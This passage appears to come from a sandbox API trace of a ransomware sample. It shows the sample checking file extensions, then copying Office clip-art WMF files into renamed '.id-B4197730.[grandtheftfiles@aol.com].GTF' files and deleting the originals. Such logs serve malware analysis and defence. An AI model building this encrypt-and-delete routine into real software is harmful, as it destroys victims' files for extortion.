	[0088.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.652] lstrlenW (lpString=".pdf") returned 4
	[0088.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.652] lstrlenW (lpString=".xls") returned 4
	[0088.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.652] lstrlenW (lpString=".xlsx") returned 5
	[0088.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.652] lstrlenW (lpString=".ppt") returned 4
	[0088.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0088.653] lstrlenW (lpString=".zip") returned 4
	[0088.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.653] lstrlenW (lpString=".rar") returned 4
	[0088.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.653] lstrlenW (lpString=".bz2") returned 4
	[0088.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.653] lstrlenW (lpString=".7z") returned 3
	[0088.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0088.653] lstrlenW (lpString=".dbf") returned 4
	[0088.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0088.653] lstrlenW (lpString=".1cd") returned 4
	[0088.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0088.653] lstrlenW (lpString=".jpg") returned 4
	[0088.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.653] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.653] lstrlenW (lpString="HH00231_.WMF") returned 12
	[0088.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.654] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2232) returned 1
	[0088.654] CloseHandle (hObject=0x368) returned 1
	[0088.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220
	[0088.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.654] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.654] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.655] GetLastError () returned 0x0
	[0088.655] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x8b8, lpOverlapped=0x0) returned 1
	[0088.656] WriteFile (in: hFile=0x39c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0088.657] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.657] WriteFile (in: hFile=0x39c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.657] SetEndOfFile (hFile=0x39c) returned 1
	[0088.657] CloseHandle (hObject=0x39c) returned 1
	[0088.657] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.657] SetEndOfFile (hFile=0x368) returned 1
	[0088.658] CloseHandle (hObject=0x368) returned 1
	[0088.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1
	[0088.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0088.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0088.659] lstrlenW (lpString=".doc") returned 4
	[0088.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.659] lstrlenW (lpString=".docx") returned 5
	[0088.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.659] lstrlenW (lpString=".pdf") returned 4
	[0088.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.659] lstrlenW (lpString=".xls") returned 4
	[0088.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.659] lstrlenW (lpString=".xlsx") returned 5
	[0088.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.659] lstrlenW (lpString=".ppt") returned 4
	[0088.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0088.659] lstrlenW (lpString=".zip") returned 4
	[0088.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.659] lstrlenW (lpString=".rar") returned 4
	[0088.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.659] lstrlenW (lpString=".bz2") returned 4
	[0088.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.659] lstrlenW (lpString=".7z") returned 3
	[0088.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0088.659] lstrlenW (lpString=".dbf") returned 4
	[0088.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0088.659] lstrlenW (lpString=".1cd") returned 4
	[0088.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0088.659] lstrlenW (lpString=".jpg") returned 4
	[0088.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0088.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0088.660] lstrlenW (lpString=".doc") returned 4
	[0088.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.660] lstrlenW (lpString=".docx") returned 5
	[0088.660] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.660] lstrlenW (lpString=".pdf") returned 4
	[0088.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.660] lstrlenW (lpString=".xls") returned 4
	[0088.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.660] lstrlenW (lpString=".xlsx") returned 5
	[0088.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.660] lstrlenW (lpString=".ppt") returned 4
	[0088.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0088.660] lstrlenW (lpString=".zip") returned 4
	[0088.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.660] lstrlenW (lpString=".rar") returned 4
	[0088.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.660] lstrlenW (lpString=".bz2") returned 4
	[0088.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.660] lstrlenW (lpString=".7z") returned 3
	[0088.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0088.660] lstrlenW (lpString=".dbf") returned 4
	[0088.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0088.660] lstrlenW (lpString=".1cd") returned 4
	[0088.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0088.660] lstrlenW (lpString=".jpg") returned 4
	[0088.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.660] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.661] lstrlenW (lpString="HH00235_.WMF") returned 12
	[0088.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.661] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1026) returned 1
	[0088.661] CloseHandle (hObject=0x368) returned 1
	[0088.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220
	[0088.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.661] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.661] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.662] GetLastError () returned 0x0
	[0088.662] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x402, lpOverlapped=0x0) returned 1
	[0088.663] WriteFile (in: hFile=0x39c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x410, lpOverlapped=0x0) returned 1
	[0088.664] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.664] WriteFile (in: hFile=0x39c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.664] SetEndOfFile (hFile=0x39c) returned 1
	[0088.664] CloseHandle (hObject=0x39c) returned 1
	[0088.664] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.664] SetEndOfFile (hFile=0x368) returned 1
	[0088.665] CloseHandle (hObject=0x368) returned 1
	[0088.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1
	[0088.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0088.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0088.666] lstrlenW (lpString=".doc") returned 4
	[0088.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.666] lstrlenW (lpString=".docx") returned 5
	[0088.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.666] lstrlenW (lpString=".pdf") returned 4
	[0088.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.666] lstrlenW (lpString=".xls") returned 4
	[0088.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.666] lstrlenW (lpString=".xlsx") returned 5
	[0088.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.666] lstrlenW (lpString=".ppt") returned 4
	[0088.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0088.666] lstrlenW (lpString=".zip") returned 4
	[0088.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.666] lstrlenW (lpString=".rar") returned 4
	[0088.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.666] lstrlenW (lpString=".bz2") returned 4
	[0088.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.666] lstrlenW (lpString=".7z") returned 3
	[0088.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0088.666] lstrlenW (lpString=".dbf") returned 4
	[0088.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0088.666] lstrlenW (lpString=".1cd") returned 4
	[0088.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0088.666] lstrlenW (lpString=".jpg") returned 4
	[0088.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0088.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0088.667] lstrlenW (lpString=".doc") returned 4
	[0088.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.667] lstrlenW (lpString=".docx") returned 5
	[0088.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.667] lstrlenW (lpString=".pdf") returned 4
	[0088.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.667] lstrlenW (lpString=".xls") returned 4
	[0088.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.667] lstrlenW (lpString=".xlsx") returned 5
	[0088.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.667] lstrlenW (lpString=".ppt") returned 4
	[0088.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0088.667] lstrlenW (lpString=".zip") returned 4
	[0088.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.667] lstrlenW (lpString=".rar") returned 4
	[0088.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.667] lstrlenW (lpString=".bz2") returned 4
	[0088.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.667] lstrlenW (lpString=".7z") returned 3
	[0088.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0088.667] lstrlenW (lpString=".dbf") returned 4
	[0088.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0088.667] lstrlenW (lpString=".1cd") returned 4
	[0088.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0088.667] lstrlenW (lpString=".jpg") returned 4
	[0088.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.707] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.707] lstrlenW (lpString="HH00334_.WMF") returned 12
	[0088.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.714] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1528) returned 1
	[0088.714] CloseHandle (hObject=0x390) returned 1
	[0088.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220
	[0088.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.714] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.715] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.715] GetLastError () returned 0x0
	[0088.715] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x5f8, lpOverlapped=0x0) returned 1
	[0088.731] WriteFile (in: hFile=0x368, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x600, lpOverlapped=0x0) returned 1
	[0088.732] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.732] WriteFile (in: hFile=0x368, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.732] SetEndOfFile (hFile=0x368) returned 1
	[0088.732] CloseHandle (hObject=0x368) returned 1
	[0088.732] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.732] SetEndOfFile (hFile=0x390) returned 1
	[0088.733] CloseHandle (hObject=0x390) returned 1
	[0088.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1
	[0089.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0089.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0089.127] lstrlenW (lpString=".doc") returned 4
	[0089.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.127] lstrlenW (lpString=".docx") returned 5
	[0089.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.127] lstrlenW (lpString=".pdf") returned 4
	[0089.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.127] lstrlenW (lpString=".xls") returned 4
	[0089.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.127] lstrlenW (lpString=".xlsx") returned 5
	[0089.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.127] lstrlenW (lpString=".ppt") returned 4
	[0089.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0089.127] lstrlenW (lpString=".zip") returned 4
	[0089.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.127] lstrlenW (lpString=".rar") returned 4
	[0089.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.127] lstrlenW (lpString=".bz2") returned 4
	[0089.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.127] lstrlenW (lpString=".7z") returned 3
	[0089.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0089.127] lstrlenW (lpString=".dbf") returned 4
	[0089.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0089.127] lstrlenW (lpString=".1cd") returned 4
	[0089.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0089.127] lstrlenW (lpString=".jpg") returned 4
	[0089.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0089.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0089.128] lstrlenW (lpString=".doc") returned 4
